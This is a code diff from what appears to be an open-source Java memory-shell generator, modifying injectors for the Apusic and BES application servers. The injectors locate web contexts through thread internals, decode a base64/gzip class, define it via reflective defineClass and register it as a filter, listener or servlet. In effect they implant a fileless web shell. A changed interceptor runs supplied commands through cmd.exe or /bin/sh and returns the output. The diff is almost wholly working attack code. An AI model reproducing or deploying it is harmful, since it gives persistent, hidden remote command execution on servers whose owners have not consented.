.field(named("headerValue")).value(shellToolConfig.getHeaderValue()); .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
} }
} }
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.Suo5Config; import com.reajason.javaweb.memshell.config.Suo5Config;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -17,8 +18,9 @@ public class Suo5Generator extends ByteBuddyShellGenerator<Suo5Config> {
} }
@Override @Override
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { protected DynamicType.Builder<?> getBuilder() {
return builder return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("headerName")).value(shellToolConfig.getHeaderName()) .field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue()); .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
} }
@@ -32,13 +32,20 @@ public class ValveGenerator {
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) { public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
String packageName = null; String packageName = null;
if (serverVersion.equals("6")) { if (serverVersion != null) {
switch (serverVersion) {
case "6":
packageName = TONGWEB6_VALVE_PACKAGE; packageName = TONGWEB6_VALVE_PACKAGE;
} else if (serverVersion.equals("7")) { break;
case "7":
packageName = TONGWEB7_VALVE_PACKAGE; packageName = TONGWEB7_VALVE_PACKAGE;
} else if (serverVersion.equals("8")) { break;
case "8":
packageName = TONGWEB8_VALVE_PACKAGE; packageName = TONGWEB8_VALVE_PACKAGE;
} else if (shell instanceof Bes) { break;
}
}
if (shell instanceof Bes) {
packageName = BES_VALVE_PACKAGE; packageName = BES_VALVE_PACKAGE;
} }
if (StringUtils.isEmpty(packageName)) { if (StringUtils.isEmpty(packageName)) {
@@ -7,6 +7,7 @@ import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator; import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
import com.reajason.javaweb.utils.ShellCommonUtil; import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.modifier.Ownership; import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility; import net.bytebuddy.description.modifier.Visibility;
@@ -26,9 +27,11 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
} }
@Override @Override
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { public DynamicType.Builder<?> getBuilder() {
DynamicType.Builder<?> builder = new ByteBuddy()
builder = builder.field(named("paramName")).value(shellToolConfig.getParamName()); .redefine(shellToolConfig.getShellClass())
.field(named("paramName"))
.value(shellToolConfig.getParamName());
if (shellConfig.isJakarta()) { if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -12,6 +12,7 @@ import java.io.InputStream;
public class RuntimeExecInterceptor { public class RuntimeExecInterceptor {
@Advice.OnMethodExit @Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException { public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
returnValue = Runtime.getRuntime().exec(cmd).getInputStream(); String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
} }
} }
@@ -40,7 +40,6 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter");
} }
} }
} }
@@ -61,6 +60,7 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -77,12 +77,8 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -3,11 +3,13 @@ package com.reajason.javaweb.memshell.injector.apusic;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -17,17 +19,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicFilterInjector { public class ApusicFilterInjector {
public ApusicFilterInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -41,6 +33,45 @@ public class ApusicFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public ApusicFilterInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/** /**
* context: com.apusic.web.container.WebContainer * context: com.apusic.web.container.WebContainer
* context -> webapp: com.apusic.deploy.runtime.WebModule * context -> webapp: com.apusic.deploy.runtime.WebModule
@@ -51,38 +82,56 @@ public class ApusicFilterInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); // Apusic 9.0 SPX
Object sessionManager = getFieldValue(thread, "this$0");
contexts.add(getFieldValue(sessionManager, "container"));
} else if (thread.getName().contains("HTTPSession")) {
// Apusic 9.0.1
Object sessionManager = getFieldValue(thread, "this$0");
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
contexts.addAll(contextMap.values());
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private Object getShell(Object context) throws Exception {
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
ClassLoader defineLoader;
Object obj;
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); // Apusic 9.0 SPX,优先从当前 loader 进行加载
} catch (Exception e) { defineShell(loader);
return ((ClassLoader) getFieldValue(context, "loader")); // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = loader;
} catch (ClassNotFoundException e) {
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
defineShell(internalLoader);
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = internalLoader;
} }
msg += "[" + defineLoader.getClass().getName() + "] ";
return obj;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private void defineShell(ClassLoader classLoader) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance(); } catch (Throwable ignored) {
} }
} }
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
Object webModule = getFieldValue(context, "webapp"); Object webModule = getFieldValue(context, "webapp");
if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter already injected");
return; return;
} }
// addFilterMapping // addFilterMapping
@@ -100,7 +149,11 @@ public class ApusicFilterInjector {
Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass(); Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass();
Object filterMapper = getFieldValue(context, "filterMapper"); Object filterMapper = getFieldValue(context, "filterMapper");
invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings}); invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings});
System.out.println("filter injected successful"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -155,7 +208,7 @@ public class ApusicFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(fieldName); throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -184,4 +237,19 @@ public class ApusicFilterInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,10 +3,12 @@ package com.reajason.javaweb.memshell.injector.apusic;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -16,17 +18,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicListenerInjector { public class ApusicListenerInjector {
public ApusicListenerInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -40,52 +32,109 @@ public class ApusicListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public ApusicListenerInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); // Apusic 9.0 SPX
Object sessionManager = getFieldValue(thread, "this$0");
contexts.add(getFieldValue(sessionManager, "container"));
} else if (thread.getName().contains("HTTPSession")) {
// Apusic 9.0.1
Object sessionManager = getFieldValue(thread, "this$0");
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
contexts.addAll(contextMap.values());
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private Object getShell(Object context) throws Exception {
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
ClassLoader defineLoader;
Object obj;
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); // Apusic 9.0 SPX,优先从当前 loader 进行加载
} catch (Exception e) { defineShell(loader);
return ((ClassLoader) getFieldValue(context, "loader")); // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = loader;
} catch (ClassNotFoundException e) {
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
defineShell(internalLoader);
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = internalLoader;
} }
msg += "[" + defineLoader.getClass().getName() + "] ";
return obj;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private void defineShell(ClassLoader classLoader) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance(); } catch (Throwable ignored) {
} }
} }
public void inject(Object context, Object listener) throws Exception { public void inject(Object context, Object listener) throws Exception {
Object webModule = getFieldValue(context, "webapp"); Object webModule = getFieldValue(context, "webapp");
String[] listeners = (String[]) invokeMethod(webModule, "getListeners", null, null); if ((boolean) invokeMethod(webModule, "hasListener", new Class[]{String.class}, new Object[]{getClassName()})) {
for (String name : listeners) {
if (getClassName().equals(name)) {
System.out.println("listener already injected");
return; return;
} }
}
invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(context, "loadListeners", null, null); invokeMethod(context, "loadListeners", null, null);
System.out.println("listener injected successful"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -169,4 +218,19 @@ public class ApusicListenerInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,10 +3,12 @@ package com.reajason.javaweb.memshell.injector.apusic;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -16,17 +18,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicServletInjector { public class ApusicServletInjector {
public ApusicServletInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -40,36 +32,94 @@ public class ApusicServletInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public ApusicServletInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); // Apusic 9.0 SPX
Object sessionManager = getFieldValue(thread, "this$0");
contexts.add(getFieldValue(sessionManager, "container"));
} else if (thread.getName().contains("HTTPSession")) {
// Apusic 9.0.1
Object sessionManager = getFieldValue(thread, "this$0");
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
contexts.addAll(contextMap.values());
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private Object getShell(Object context) throws Exception {
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
ClassLoader defineLoader;
Object obj;
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); // Apusic 9.0 SPX,优先从当前 loader 进行加载
} catch (Exception e) { defineShell(loader);
return ((ClassLoader) getFieldValue(context, "loader")); // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = loader;
} catch (ClassNotFoundException e) {
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
defineShell(internalLoader);
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = internalLoader;
} }
msg += "[" + defineLoader.getClass().getName() + "] ";
return obj;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private void defineShell(ClassLoader classLoader) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance(); } catch (Throwable ignored) {
} }
} }
@@ -77,12 +127,15 @@ public class ApusicServletInjector {
Object webModule = getFieldValue(context, "webapp"); Object webModule = getFieldValue(context, "webapp");
Object servletMapper = getFieldValue(context, "servletMapper"); Object servletMapper = getFieldValue(context, "servletMapper");
if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("servlet already injected");
return; return;
} }
invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()}); invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}}); invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}});
System.out.println("servlet injected successful"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -166,4 +219,19 @@ public class ApusicServletInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -42,7 +42,6 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
} }
} }
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
} }
@Override @Override
@@ -61,6 +60,7 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -77,12 +77,8 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -40,7 +40,6 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
} }
} }
} }
@@ -61,6 +60,7 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -4,30 +4,18 @@ import javax.servlet.Filter;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class BesFilterInjector { public class BesFilterInjector {
Logger log = Logger.getLogger(BesFilterInjector.class.getName()); private String msg = "";
public BesFilterInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -41,6 +29,45 @@ public class BesFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public BesFilterInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/** /**
* com.bes.enterprise.webtier.core.DefaultContext * com.bes.enterprise.webtier.core.DefaultContext
* /opt/bes/lib/bes-engine.jar * /opt/bes/lib/bes-engine.jar
@@ -73,22 +100,23 @@ public class BesFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
